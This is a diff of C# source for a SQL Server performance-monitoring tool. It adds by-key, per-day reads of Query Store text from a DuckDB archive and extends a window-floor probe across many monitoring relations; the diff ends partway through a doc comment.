index 0000000000..893a90ffb0
--- /dev/null
+++ b/Lite/Services/LocalDataService.QueryStoreText.cs
@@ -0,0 +1,373 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+
+namespace PerformanceMonitorLite.Services;
+
+/*
+ * #5381: the Query Store reads rank and aggregate on narrow columns, then read query_text here, for the final rows
+ * only and by key.
+ *
+ * Why a separate read instead of a join: the archive's parquet files hold one row group per day, and DuckDB decodes a
+ * row group's whole query_text column chunk when anything in the group is read, so a join that probes the wide
+ * column over the window pays for every day the window touches, at the same time. A statement that names the rows it
+ * wants lets the scan skip every row group whose min/max cannot hold them, and one statement per day keeps a single
+ * day's text in memory at a time. The text that comes back is then per row asked for, not per row in the window.
+ */
+public partial class LocalDataService
+{
+    /// <summary>Most row keys one by-key text statement carries; the statement's IN list is built from numbers only.</summary>
+    internal const int QueryStoreTextKeyChunk = 400;
+
+    /// <summary>
+    /// Reads <c>query_text</c> for the named <c>v_query_store_stats</c> rows (keyed by collection_id and
+    /// collection_time), one statement per UTC day of collection_time and per <see cref="QueryStoreTextKeyChunk"/> ids.
+    /// A row that is not found is absent from the result; a row found with no text maps to null.
+    /// </summary>
+    internal static async Task<Dictionary<(long CollectionId, DateTime CollectionTime), string?>> ReadQueryStoreTextByRowAsync(
+        LockedConnection connection, int serverId, IEnumerable<(long CollectionId, DateTime CollectionTime)> rows)
+    {
+        var result = new Dictionary<(long, DateTime), string?>();
+        foreach (var day in rows.Distinct().GroupBy(r => r.CollectionTime.Date).OrderBy(g => g.Key))
+        {
+            var ordered = day.OrderBy(r => r.CollectionId).ToList();
+            for (var i = 0; i < ordered.Count; i += QueryStoreTextKeyChunk)
+            {
+                var slice = ordered.Skip(i).Take(QueryStoreTextKeyChunk).ToList();
+                using var command = connection.CreateCommand();
+                command.CommandText = TextByRowSql(slice.Select(r => r.CollectionId));
+                command.Parameters.Add(new DuckDBParameter { Value = serverId });
+                command.Parameters.Add(new DuckDBParameter { Value = slice.Min(r => r.CollectionTime) });
+                command.Parameters.Add(new DuckDBParameter { Value = slice.Max(r => r.CollectionTime) });
+                using var reader = await command.ExecuteReaderAsync();
+                while (await reader.ReadAsync())
+                {
+                    result[(reader.GetInt64(0), reader.GetDateTime(1))] = reader.IsDBNull(2) ? null : reader.GetString(2);
+                }
+            }
+        }
+
+        return result;
+    }
+
+    /// <summary>
+    /// The by-key text statement for the given ids: $1 server, $2 and $3 the time bounds. The bounds sit beside the ids so
+    /// a parquet row group is skipped on either. Ids are BIGINTs read back from the store and formatted by hand: no
+    /// user text reaches this IN list.
+    /// </summary>
+    internal static string TextByRowSql(IEnumerable<long> collectionIds) => @"
+SELECT collection_id, collection_time, query_text
+FROM v_query_store_stats
+WHERE server_id = $1
+AND   collection_time >= $2
+AND   collection_time <= $3
+AND   collection_id IN (" + string.Join(",", collectionIds.Select(id => id.ToString(CultureInfo.InvariantCulture))) + ")";
+
+    /// <summary>The window text statement: $1 server, $2 database, $3 query_id, $4 and $5 the window.</summary>
+    internal const string WindowTextSql = @"
+SELECT MAX(query_text)
+FROM v_query_store_stats
+WHERE server_id = $1
+AND   database_name = $2
+AND   query_id = $3
+AND   collection_time >= $4
+AND   collection_time <= $5";
+
+    /// <summary>Most (database, query_id) keys one latest-row statement carries; each key is two parameters.</summary>
+    internal const int QueryStoreLatestRowKeyChunk = 100;
+
+    /// <summary>
+    /// For each (database_name, query_id), the key (collection_id, collection_time) of its LATEST <c>v_query_store_stats</c>
+    /// row over ALL history, whatever that row's text is: the row the old top-queries lateral picked, found on narrow
+    /// columns only and for the named keys only. A key with no row is absent from the result.
+    /// </summary>
+    internal static async Task<Dictionary<(string DatabaseName, long QueryId), (long CollectionId, DateTime CollectionTime)>> ReadQueryStoreLatestRowsAsync(
+        LockedConnection connection, int serverId, IEnumerable<(string DatabaseName, long QueryId)> keys)
+    {
+        var result = new Dictionary<(string, long), (long, DateTime)>();
+        var distinct = keys.Distinct().ToList();
+        for (var i = 0; i < distinct.Count; i += QueryStoreLatestRowKeyChunk)
+        {
+            var slice = distinct.Skip(i).Take(QueryStoreLatestRowKeyChunk).ToList();
+            using var command = connection.CreateCommand();
+            /* The key list is parameters, never text: a database name is user data. $1 is the server; key n is ($2n, $2n+1). */
+            command.CommandText = @"
+SELECT x.database_name, x.query_id, x.collection_id, x.collection_time
+FROM
+(
+    SELECT
+        v.database_name,
+        v.query_id,
+        v.collection_id,
+        v.collection_time,
+        ROW_NUMBER() OVER (PARTITION BY v.database_name, v.query_id ORDER BY v.collection_time DESC, v.collection_id DESC) AS lr
+    FROM v_query_store_stats v
+    INNER JOIN (VALUES " + string.Join(", ", slice.Select((_, n) => $"(CAST(${2 + 2 * n} AS VARCHAR), CAST(${3 + 2 * n} AS BIGINT))")) + @") k(database_name, query_id)
+      ON  k.database_name = v.database_name
+      AND k.query_id = v.query_id
+    WHERE v.server_id = $1
+) x
+WHERE x.lr = 1";
+            command.Parameters.Add(new DuckDBParameter { Value = serverId });
+            foreach (var (databaseName, queryId) in slice)
+            {
+                command.Parameters.Add(new DuckDBParameter { Value = databaseName });
+                command.Parameters.Add(new DuckDBParameter { Value = queryId });
+            }
+
+            using var reader = await command.ExecuteReaderAsync();
+            while (await reader.ReadAsync())
+            {
+                result[(reader.GetString(0), reader.GetInt64(1))] = (reader.GetInt64(2), reader.GetDateTime(3));
+            }
+        }
+
+        return result;
+    }
+
+    /// <summary>
+    /// The latest NON-NULL <c>query_text</c> of one (database, query_id) over all history: the old top-queries lateral,
+    /// for ONE key. Only the rare candidate whose latest row carries no text gets here.
+    /// </summary>
+    internal static async Task<string?> ReadQueryStoreLatestNonNullTextAsync(
+        LockedConnection connection, int serverId, string databaseName, long queryId)
+    {
+        using var command = connection.CreateCommand();
+        command.CommandText = @"
+SELECT query_text
+FROM v_query_store_stats
+WHERE server_id = $1
+AND   query_id = $2
+AND   database_name = $3
+AND   query_text IS NOT NULL
+/* #5299 round 2 (N3): a tie on the time breaks on the row collected last - see GetTopQueriesByCpuAsync. */
+ORDER BY collection_time DESC, collection_id DESC
+LIMIT 1";
+        command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        command.Parameters.Add(new DuckDBParameter { Value = queryId });
+        command.Parameters.Add(new DuckDBParameter { Value = databaseName });
+        var value = await command.ExecuteScalarAsync();
+        return value is null or DBNull ? null : (string)value;
+    }
+
+    /// <summary>
+    /// The greatest non-null <c>query_text</c> one (database, query_id) has inside a collection_time window, or null.
+    /// The by-key reads' fallback for a key whose latest kept row carried no text. One statement per UTC day of the
+    /// window, newest day first, stopping at the first day that has a text: a single day's text is in memory at a time,
+    /// and a query that has text anywhere recent never touches the older days (the review of #5396).
+    /// </summary>
+    internal static async Task<string?> ReadQueryStoreWindowTextAsync(
+        LockedConnection connection, int serverId, string databaseName, long queryId, DateTime windowStart, DateTime windowEnd)
+    {
+        for (var day = windowEnd.Date; day >= windowStart.Date; day = day.AddDays(-1))
+        {
+            /* DuckDB's TIMESTAMP has microsecond precision: a tick-sized step back from midnight would round up to it. */
+            var from = day > windowStart ? day : windowStart;
+            var dayEnd = day.AddDays(1).AddTicks(-10);
+            var to = dayEnd < windowEnd ? dayEnd : windowEnd;
+            using var command = connection.CreateCommand();
+            command.CommandText = WindowTextSql;
+            command.Parameters.Add(new DuckDBParameter { Value = serverId });
+            command.Parameters.Add(new DuckDBParameter { Value = databaseName });
+            command.Parameters.Add(new DuckDBParameter { Value = queryId });
+            command.Parameters.Add(new DuckDBParameter { Value = from });
+            command.Parameters.Add(new DuckDBParameter { Value = to });
+            var value = await command.ExecuteScalarAsync();
+            if (value is not null and not DBNull)
+            {
+                return (string)value;
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>
+    /// The KEPT rows (the latest snapshot of each interval, with executions) one period has for the named
+    /// (database_name, query_id) keys, on narrow columns only, as <c>(database_name, query_hash, query_id,
+    /// collection_id, collection_time)</c>. The dedupe is the comparison's own, so a row an older snapshot of the same
+    /// interval would offer is not among them. Keys travel as parameters: a database name is user data.
+    /// </summary>
+    internal static async Task<List<(string? DatabaseName, string? QueryHash, long QueryId, long CollectionId, DateTime CollectionTime)>> ReadQueryStoreKeptRowsAsync(
+        LockedConnection connection, int serverId, IEnumerable<(string? DatabaseName, long QueryId)> keys, DateTime windowStart, DateTime windowEnd)
+    {
+        var result = new List<(string?, string?, long, long, DateTime)>();
+        var distinct = keys.Distinct().ToList();
+        for (var i = 0; i < distinct.Count; i += QueryStoreLatestRowKeyChunk)
+        {
+            var slice = distinct.Skip(i).Take(QueryStoreLatestRowKeyChunk).ToList();
+            using var command = connection.CreateCommand();
+            /* $1 server, $2 and $3 the window; key n is ($4 + 2n, $5 + 2n). */
+            command.CommandText = @"
+SELECT x.database_name, x.query_hash, x.query_id, x.collection_id, x.collection_time
+FROM
+(
+    SELECT
+        v.database_name,
+        v.query_hash,
+        v.query_id,
+        v.collection_id,
+        v.collection_time,
+        v.execution_count,
+        ROW_NUMBER() OVER
+        (
+            PARTITION BY v.database_name, v.query_id, v.plan_id, v.runtime_stats_interval_id, v.first_execution_time, v.execution_type_desc, v.replica_role
+            ORDER BY v.collection_time DESC, v.execution_count DESC
+        ) AS rn
+    FROM v_query_store_stats v
+    INNER JOIN (VALUES " + string.Join(", ", slice.Select((_, n) => $"(CAST(${4 + 2 * n} AS VARCHAR), CAST(${5 + 2 * n} AS BIGINT))")) + @") k(database_name, query_id)
+      ON  k.database_name IS NOT DISTINCT FROM v.database_name
+      AND k.query_id = v.query_id
+    WHERE v.server_id = $1
+    AND   v.collection_time >= $2
+    AND   v.collection_time <= $3
+) x
+WHERE x.rn = 1
+AND   x.execution_count > 0";
+            command.Parameters.Add(new DuckDBParameter { Value = serverId });
+            command.Parameters.Add(new DuckDBParameter { Value = windowStart });
+            command.Parameters.Add(new DuckDBParameter { Value = windowEnd });
+            foreach (var (databaseName, queryId) in slice)
+            {
+                command.Parameters.Add(new DuckDBParameter { Value = (object?)databaseName ?? DBNull.Value });
+                command.Parameters.Add(new DuckDBParameter { Value = queryId });
+            }
+
+            using var reader = await command.ExecuteReaderAsync();
+            while (await reader.ReadAsync())
+            {
+                result.Add((reader.IsDBNull(0) ? null : reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetString(1),
+                    reader.GetInt64(2), reader.GetInt64(3), reader.GetDateTime(4)));
+            }
+        }
+
+        return result;
+    }
+
+    /// <summary>
+    /// The comparison's text fallback. A period's winner row is the latest kept row of one query_id; when its text came
+    /// back NULL, the old per-period MAX still found a text on an older kept row of that query in the same period. This
+    /// reads only the queries whose winner has no text: their other kept rows are listed on narrow columns, then their
+    /// text is read one UTC day at a time, newest day first, dropping a query from the work as soon as it has a text.
+    /// What is found is added to <paramref name="rowsByKey"/> and <paramref name="texts"/> so the MAX sees it.
+    /// </summary>
+    internal static async Task ReadQueryStoreFallbackTextsAsync(
+        LockedConnection connection, int serverId,
+        List<(string? DatabaseName, string? QueryHash, long QueryId, long CollectionId, DateTime CollectionTime)> winners,
+        DateTime windowStart, DateTime windowEnd,
+        Dictionary<(string?, string?), List<(long, DateTime)>> rowsByKey,
+        Dictionary<(long CollectionId, DateTime CollectionTime), string?> texts)
+    {
+        var pending = winners
+            .Where(w => !texts.TryGetValue((w.CollectionId, w.CollectionTime), out var text) || text is null)
+            .Select(w => (w.DatabaseName, w.QueryHash, w.QueryId))
+            .ToHashSet();
+        if (pending.Count == 0)
+        {
+            return;
+        }
+
+        var kept = await ReadQueryStoreKeptRowsAsync(connection, serverId, pending.Select(p => (p.DatabaseName, p.QueryId)), windowStart, windowEnd);
+        foreach (var day in kept
+            .Where(r => !texts.ContainsKey((r.CollectionId, r.CollectionTime)))
+            .GroupBy(r => r.CollectionTime.Date)
+            .OrderByDescending(g => g.Key))
+        {
+            if (pending.Count == 0)
+            {
+                break;
+            }
+
+            var rows = day.Where(r => pending.Contains((r.DatabaseName, r.QueryHash, r.QueryId))).ToList();
+            if (rows.Count == 0)
+            {
+                continue;
+            }
+
+            var dayTexts = await ReadQueryStoreTextByRowAsync(connection, serverId, rows.Select(r => (r.CollectionId, r.CollectionTime)));
+            foreach (var (rowKey, text) in dayTexts)
+            {
+                texts[rowKey] = text;
+            }
+
+            foreach (var row in rows)
+            {
+                var key = (row.DatabaseName, row.QueryHash);
+                if (!rowsByKey.TryGetValue(key, out var list))
+                {
+                    rowsByKey[key] = list = [];
+                }
+
+                list.Add((row.CollectionId, row.CollectionTime));
+                if (dayTexts.TryGetValue((row.CollectionId, row.CollectionTime), out var found) && found is not null)
+                {
+                    pending.Remove((row.DatabaseName, row.QueryHash, row.QueryId));
+                }
+            }
+        }
+    }
+
+    /// <summary>
+    /// The greatest non-null text among the rows read for <paramref name="key"/>, compared the way DuckDB compares
+    /// VARCHAR (UTF-8 byte order), or null when the key has no row or every row's text is null.
+    /// </summary>
+    internal static string? MaxUtf8Text(
+        Dictionary<(string?, string?), List<(long, DateTime)>> rowsByKey,
+        (string?, string?) key,
+        Dictionary<(long CollectionId, DateTime CollectionTime), string?> texts)
+    {
+        if (!rowsByKey.TryGetValue(key, out var rows))
+        {
+            return null;
+        }
+
+        string? best = null;
+        foreach (var row in rows)
+        {
+            if (texts.TryGetValue((row.Item1, row.Item2), out var text) && text is not null
+                && (best is null || CompareUtf8Order(text, best) > 0))
+            {
+                best = text;
+            }
+        }
+
+        return best;
+    }
+
+    /// <summary>
+    /// Orders two strings by their UTF-8 bytes, which is DuckDB's VARCHAR order. UTF-16 ordinal order agrees with it
+    /// except where a surrogate (a code point above U+FFFF) meets a character in U+E000..U+FFFF: the surrogate sorts
+    /// lower in UTF-16 and higher in UTF-8.
+    /// </summary>
+    internal static int CompareUtf8Order(string a, string b)
+    {
+        var n = a.AsSpan().CommonPrefixLength(b.AsSpan());
+        if (n == a.Length || n == b.Length)
+        {
+            return a.Length.CompareTo(b.Length);
+        }
+
+        var x = a[n];
+        var y = b[n];
+        var xIsSurrogate = char.IsSurrogate(x);
+        var yIsSurrogate = char.IsSurrogate(y);
+        if (xIsSurrogate != yIsSurrogate)
+        {
+            return xIsSurrogate ? 1 : -1;
+        }
+
+        return x.CompareTo(y);
+    }
+}
diff --git a/Lite/Services/LocalDataService.QueryWindowFloor.cs b/Lite/Services/LocalDataService.QueryWindowFloor.cs
index c41566e5a6..247349481d 100644
--- a/Lite/Services/LocalDataService.QueryWindowFloor.cs
+++ b/Lite/Services/LocalDataService.QueryWindowFloor.cs
@@ -7,74 +7,499 @@
  */
 
 using System;
+using System.Threading;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitorLite.Database;
 
 namespace PerformanceMonitorLite.Services;
 
 /// <summary>
-/// The three RAW-ONLY relations #4231's window-floor disclosure covers: every Queries-tab grid and MCP tool
-/// that reads one of these has no rollup underneath it to fall back on when the requested window reaches past
-/// what the raw table actually retains.
+/// The relations a window-floor probe (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>) may read. Each is a
+/// closed member that maps to ONE <c>v_</c> view with <c>server_id</c> and a time column (<c>collection_time</c>,
+/// <c>capture_time</c> on the three config snapshots, or <c>event_time</c> on the two event tables: the column the
+/// surface's grid filters on, <see cref="LocalDataService.QueryWindowRelationTimeColumn"/>), so no
+/// caller hands a view name, and nothing a user typed, into the probe's SQL. #4231 began with the three RAW-ONLY
+/// relations (<see cref="QueryStats"/>, <see cref="ProcedureStats"/>, <see cref="QueryStoreStats"/>): every
+/// Queries-tab grid and MCP tool that reads one has no rollup underneath it to fall back on when the requested
+/// window reaches past what the raw table actually retains. The Lite twin of Darling's Active Queries and Current
+/// Waits data-start banners adds <see cref="QuerySnapshots"/> and <see cref="WaitingTasks"/>, and #4966 adds
+/// <see cref="PlanCorrection"/> (Plan Corrections) and <see cref="MemoryPressureEvents"/> (Memory Pressure Events); the
+/// Query Heatmap reads <c>v_query_stats</c> and asks the <see cref="QueryStats"/> question. A further surface adds its
+/// own member and its arm in <c>QueryWindowRelationView</c>; <c>DataStartBannerTests</c> pins that every member names a
+/// real archive view with the column the probe windows on. The Job History tab's note adds <see cref="JobHistory"/>
+/// (#4966): its grid lists runs by the time each ran, which is the event time, and the probe measures the collector's
+/// coverage (<c>collection_time</c>, the time a run was copied from msdb).
 /// </summary>
 public enum QueryWindowRelation
 {
     QueryStats,
+    // Group A (Queries tab: Plan Corrections)
+    PlanCorrection,
     ProcedureStats,
-    QueryStoreStats
+    QueryStoreStats,
+    // Group B (#4966): the Blocking tab's Blocked Process Reports and Deadlocks grids.
+    /* The Blocked Process Reports grid: the XE collector's table (blocked_process_reports). The grid also lists the
+       always-on DMV blocking snapshots' rows beside it, so its coverage is the EARLIER of this collector's and that
+       one's (DmvBlockingSnapshots, QueryWindowRelationAlsoCoveredBy). Holds a row only when a block runs past the
+       threshold, so coverage comes from collector runs. The grid filters on the report's own event_time. */
+    BlockedProcessReports,
+    /* The Deadlocks grid (deadlocks): a row only when one happens, so coverage comes from collector runs. The grid
+       filters on the deadlock's own deadlock_time. */
+    Deadlocks,
+    /* The always-on DMV blocking snapshots (dmv_blocking_snapshots) that the Blocked Process Reports grid lists beside
+       its XE reports. Not a surface of its own: it is probed only as the second collector behind
+       BlockedProcessReports, for a server whose blocked process threshold is unset (so no XE report is ever stored) and
+       for the stretch before the XE collector was switched on. Its event_time IS its collection_time. */
+    DmvBlockingSnapshots,
+    QuerySnapshots,
+
+    /* Group C of #4966: Collection Health, System Events, Config Changes and Long Queries. */
+    CollectionLog,
+    SystemHealthEvents,
+    DefaultTraceEvents,
+    ServerConfig,
+    DatabaseConfig,
+    TraceFlags,
+    LongQueryCompletions,
+
+    WaitingTasks,
+    MemoryPressureEvents,
+
+    /* The Job History tab (#4966): the run history copied from msdb. */
+    JobHistory,
+
+    /* The Blocking tab's Lock Wait Trend (#4966): the wait_stats collector. */
+    WaitStats,
+    /* The Latches & Spinlocks tab's two trend charts (#4966): the cumulative-delta tables the trends read. */
+    LatchStats,
+    SpinlockStats
 }
 
 public partial class LocalDataService
 {
-    private static string QueryWindowRelationView(QueryWindowRelation relation) => relation switch
+    internal static string QueryWindowRelationView(QueryWindowRelation relation) => relation switch
     {
         QueryWindowRelation.QueryStats => "v_query_stats",
+        // Group A (Queries tab: Plan Corrections)
+        QueryWindowRelation.PlanCorrection => "v_plan_correction",
         QueryWindowRelation.ProcedureStats => "v_procedure_stats",
         QueryWindowRelation.QueryStoreStats => "v_query_store_stats",
+        // Group B (#4966): the Blocking tab's Blocked Process Reports and Deadlocks grids.
+        QueryWindowRelation.BlockedProcessReports => "v_blocked_process_reports",
+        QueryWindowRelation.Deadlocks => "v_deadlocks",
+        QueryWindowRelation.DmvBlockingSnapshots => "v_dmv_blocking_snapshots",
+        QueryWindowRelation.QuerySnapshots => "v_query_snapshots",
+        /* Group C of #4966: Collection Health, System Events, Config Changes and Long Queries. */
+        QueryWindowRelation.CollectionLog => "v_collection_log",
+        QueryWindowRelation.SystemHealthEvents => "v_system_health_events",
+        QueryWindowRelation.DefaultTraceEvents => "v_default_trace_events",
+        QueryWindowRelation.ServerConfig => "v_server_config",
+        QueryWindowRelation.DatabaseConfig => "v_database_config",
+        QueryWindowRelation.TraceFlags => "v_trace_flags",
+        QueryWindowRelation.LongQueryCompletions => "v_long_query_completions",
+        QueryWindowRelation.WaitingTasks => "v_waiting_tasks",
+        QueryWindowRelation.MemoryPressureEvents => "v_memory_pressure_events",
+        QueryWindowRelation.JobHistory => "v_job_history",
+        QueryWindowRelation.WaitStats => "v_wait_stats",
+        QueryWindowRelation.LatchStats => "v_latch_stats",
+        QueryWindowRelation.SpinlockStats => "v_spinlock_stats",
         _ => throw new ArgumentOutOfRangeException(nameof(relation), relation, "unknown QueryWindowRelation")
     };
 
     /// <summary>
-    /// #4231: the oldest <c>collection_time</c> this server actually has inside the requested window, for
-    /// whichever of the three raw relations the caller names. ONE probe shared by every Queries-tab grid
-    /// (<c>Lite/Controls/ServerTab.*</c>) and every MCP tool that reads that relation (<c>get_top_queries_by_cpu</c>,
-    /// <c>get_top_procedures_by_cpu</c>, <c>get_query_store_top</c>), so there is one place that computes the
-    /// floor rather than three near-identical copies that can drift apart. Twin of Darling's
-    /// <c>DarlingDataReader.GetQueryStoreWindowFloorAsync</c> (#2364), generalized to Lite's three raw tables:
-    /// Lite's default 30-day <c>retention_days</c> is per-collector and user-settable (lower it and the raw
-    /// table is shorter than a "Last 7 days" ask), and a server added mid-window has less history than that
-    /// regardless of the setting — the same silent cut #2364 fixed on Darling's <c>query_store_stats</c> can
-    /// happen on any of Lite's three (#4231).
+    /// The collector whose runs <c>collection_log</c> records for a relation the probe reads by coverage
+    /// (<see cref="QueryWindowRelation.QuerySnapshots"/>, <see cref="QueryWindowRelation.WaitingTasks"/>,
+    /// <see cref="QueryWindowRelation.PlanCorrection"/>, <see cref="QueryWindowRelation.MemoryPressureEvents"/>,
+    /// <see cref="QueryWindowRelation.ProcedureStats"/> (#5449: the collector stores a row only for a procedure that did
+    /// work in a cycle), and #4966's System Events, Config Changes, Long Queries and Job History relations), or null for
+    /// the two Queries-tab relations that store every cycle (<see cref="QueryWindowRelation.QueryStats"/>, which the Query
+    /// Heatmap reads, and <see cref="QueryWindowRelation.QueryStoreStats"/>) and
+    /// <see cref="QueryWindowRelation.CollectionLog"/>, which keep the row-only probe. A closed map, so nothing a caller
+    /// passes reaches the probe's SQL. For ProcedureStats the floor is the earlier of the first row and the first run in the
+    /// window: the log and the table share one archive horizon, so a run can never lie before rows retention already
+    /// dropped, and the earlier of the two cannot report coverage the table lost.
+    /// </summary>
+    internal static string? QueryWindowRelationCollector(QueryWindowRelation relation) => relation switch
+    {
+        // Group A (Queries tab: Plan Corrections)
+        QueryWindowRelation.PlanCorrection => "plan_correction",
+        QueryWindowRelation.QuerySnapshots => "query_snapshots",
+        // Group B (#4966): the Blocking tab's Blocked Process Reports and Deadlocks grids.
+        QueryWindowRelation.BlockedProcessReports => "blocked_process_report",
+        QueryWindowRelation.Deadlocks => "deadlocks",
+        QueryWindowRelation.DmvBlockingSnapshots => "dmv_blocking_snapshot",
+        QueryWindowRelation.WaitingTasks => "waiting_tasks",
+        /* #5449: procedure_stats stores a row only for a procedure that did work in a cycle (first sightings and counter resets
+           too), so a window that opens on an idle stretch has no row near its start though the store covered it. The collector's
+           runs are what show the coverage, as for the snapshot tables above. */
+        QueryWindowRelation.ProcedureStats => "procedure_stats",
+        QueryWindowRelation.MemoryPressureEvents => "memory_pressure_events",
+        /* Group C of #4966. Every event and snapshot table below holds a row only when something happened or changed
+           (system_health and default trace events, long-query completions, and the config snapshots, which the
+           collectors take at load), so a collector's runs are what show the store covered a quiet start.
+           CollectionLog is the run log itself, one dense row per run, so it keeps the row-only probe. */
+        QueryWindowRelation.SystemHealthEvents => "system_health_events",
+        QueryWindowRelation.DefaultTraceEvents => "default_trace_events",
+        QueryWindowRelation.ServerConfig => "server_config",
+        QueryWindowRelation.DatabaseConfig => "database_config",
+        QueryWindowRelation.TraceFlags => "trace_flags",
+        QueryWindowRelation.LongQueryCompletions => "long_query_completions",
+        /* The Job History tab (#4966). job_history holds a row only when an Agent job ran, and the first collection copies the
+           history msdb already holds, so a quiet start is covered by the collector's runs, not by a row near the window's start. */
+        QueryWindowRelation.JobHistory => "job_history",
+        /* The Lock Wait Trend (#4966) draws a rate series, so a quiet start is covered by the collector's runs. */
+        QueryWindowRelation.WaitStats => "wait_stats",
+        /* The Latches & Spinlocks trends (#4966): a flat zero is drawn wherever the read is empty, and the first sample of a
+           class has no delta, so a collector's runs (not the oldest row) say the store covered the window's start. */
+        QueryWindowRelation.LatchStats => "latch_stats",
+        QueryWindowRelation.SpinlockStats => "spinlock_stats",
+        _ => null
+    };
+
+    /// <summary>
+    /// The time column of a relation's view that the probe compares against the window (#4966): the column the surface's
+    /// grid filters on, so a banner never names a time later than the earliest row its grid shows. That is
+    /// <c>collection_time</c> for most relations, <c>capture_time</c> for the three config snapshots (their collectors stamp
+    /// it instead, <c>ICollectorSchemaInfo.PrefixTimeColumnName</c>, and the archive purges by it), and <c>event_time</c>
+    /// for the event relations (#4989): the System Events grids that read system_health events, the Default Trace grid and
+    /// the Blocked Process Reports grid's XE reports filter on the event's own time, not on the time a run stored it. The
+    /// Deadlocks grid filters on <c>deadlock_time</c> in the same way (#4966). Both are the XE <c>@timestamp</c>, UTC, so
+    /// neither is a server-clock relation (<see cref="QueryWindowRelationTimeIsServerLocal"/> stays false for them), a
+    /// first run of either collector stores only <see cref="PerformanceMonitor.Collectors.CollectorContext.EventFallbackWindow"/>
+    /// of history, and the archive still purges both tables by <c>collection_time</c>. The always-on DMV blocking
+    /// snapshots' <c>event_time</c> is their own <c>collection_time</c>, so that relation keeps <c>collection_time</c>.
+    /// A server's first run can store events from
+    /// before itself, every row stamped with that run's <c>collection_time</c> while its <c>event_time</c> is older, and the
+    /// probe reading <c>collection_time</c> there named the run above rows from before it. How far back depends on the
+    /// collector: the Default Trace's first run stores the history the trace files already hold, which can go back days,
+    /// while a first run of the system_health collector (and of Long Queries) reads back only
+    /// <see cref="PerformanceMonitor.Collectors.CollectorContext.EventFallbackWindow"/>, 10 minutes. Long Queries stays on
+    /// <c>collection_time</c>, the column its grid filters on; the grid's notice also takes the oldest completion it shows
+    /// into account (<c>ServerTab.EarlierOfFloorAndRowShown</c>). The archive still purges those two tables by
+    /// <c>collection_time</c>. The system_health <c>event_time</c> is the XE <c>@timestamp</c>,
+    /// UTC, like every other column here. The Default Trace's <c>event_time</c> is the exception: it is the monitored server's
+    /// wall clock as stored (its grid converts each row through the server's clock), so the probe does the same
+    /// (<see cref="QueryWindowRelationTimeIsServerLocal"/>, #4989): it reads that relation's rows over the grid's padded
+    /// server-local window, converts each one to UTC through the clock, and compares the converted times with the UTC
+    /// window. Memory Pressure Events windows on <c>sample_time</c> (the ring-buffer event's own time, which can sit long
+    /// before the first collection that stored it), so the probe asks the question the chart's own read asks. A closed map,
+    /// so nothing a caller passes reaches the probe's SQL. The collector's own runs in <c>v_collection_log</c> always read
+    /// <c>collection_time</c>, which is UTC.
+    /// </summary>
+    internal static string QueryWindowRelationTimeColumn(QueryWindowRelation relation) => relation switch
+    {
+        QueryWindowRelation.ServerConfig or QueryWindowRelation.DatabaseConfig or QueryWindowRelation.TraceFlags => "capture_time",
+        QueryWindowRelation.SystemHealthEvents or QueryWindowRelation.DefaultTraceEvents or QueryWindowRelation.BlockedProcessReports => "event_time",
+        QueryWindowRelation.Deadlocks => "deadlock_time",
+        QueryWindowRelation.MemoryPressureEvents => "sample_time",
+        _ => "collection_time"
+    };
+
+    /// <summary>
+    /// The second relation whose coverage also feeds a grid (#4966), or null for every grid fed by one collector. Only the
+    /// Blocked Process Reports grid has one: it lists the XE collector's reports and, beside them, the always-on DMV blocking
+    /// snapshots (<see cref="GetRecentBlockedProcessReportsAsync"/>), which stand in for the XE reports where no blocked process
+    /// threshold is set. The probe answers the EARLIER of the two collectors' coverage
+    /// (<see cref="EarlierCoverageFloor"/>), so with XE collection off a range the DMV collector covers gets no notice, and one that
+    /// starts before the DMV collector's coverage names it. The same rule as the Darling viewer's Blocked Process Reports grid.
+    /// A closed map, so nothing a caller passes reaches the probe's SQL.
+    /// </summary>
+    internal static QueryWindowRelation? QueryWindowRelationAlsoCoveredBy(QueryWindowRelation relation) =>
+        relation == QueryWindowRelation.BlockedProcessReports ? QueryWindowRelation.DmvBlockingSnapshots : null;
+
+    /// <summary>The earlier of two probe answers, a null (nothing to report in the window) giving way to the other; null when both are.</summary>
+    internal static DateTime? EarlierCoverageFloor(DateTime? first, DateTime? second) =>
+        first is DateTime a && second is DateTime b ? (a <= b ? a : b) : first ?? second;
+
+    /// <summary>The later of two probe answers, a null (nothing to report in the window) giving way to the other; null when both are. For separate series read in one answer, where the later start is the one a reader could mistake for "none happened".</summary>
+    internal static DateTime? LaterCoverageFloor(DateTime? first, DateTime? second) =>
+        first is DateTime a && second is DateTime b ? (a >= b ? a : b) : first ?? second;
+
+    /// <summary>
+    /// Whether the relation's time column (<see cref="QueryWindowRelationTimeColumn"/>) holds the monitored server's LOCAL
+    /// wall-clock time instead of UTC (#4989). Only the Default Trace does: <c>ft.StartTime</c> is stored as the trace wrote
+    /// it, and <see cref="GetDefaultTraceEventsAsync"/> converts each row to UTC through the server's clock. Every other
+    /// relation's column is UTC, system_health's included (the XE <c>@timestamp</c>), and keeps the probe's single-query path.
+    /// </summary>
+    internal static bool QueryWindowRelationTimeIsServerLocal(QueryWindowRelation relation) =>
+        relation == QueryWindowRelation.DefaultTraceEvents;
+
+    /// <summary>
+    /// Where this server's data starts for the requested window, as far as any caller needs to know it. NULL when
+    /// the server holds no row inside [<paramref name="startUtc"/>, <paramref name="endUtc"/>] at all (nothing was
+    /// read; for the coverage surfaces, Active Queries, Current Waits, Plan Corrections and Memory Pressure Events, no
+    /// row and no logged run of the collector either).
+    /// <paramref name="startUtc"/> itself when the server also holds a row BEFORE the window (the window was
+    /// served whole). Otherwise the server's first row inside the window (the data starts late). ONE probe shared by
+    /// every Queries-tab grid (<c>Lite/Controls/ServerTab.*</c>), the Active Queries, Current Waits, Plan Corrections,
+    /// Query Heatmap and Memory Pressure Events banners and every MCP tool that reads one of the <see cref="QueryWindowRelation"/> relations
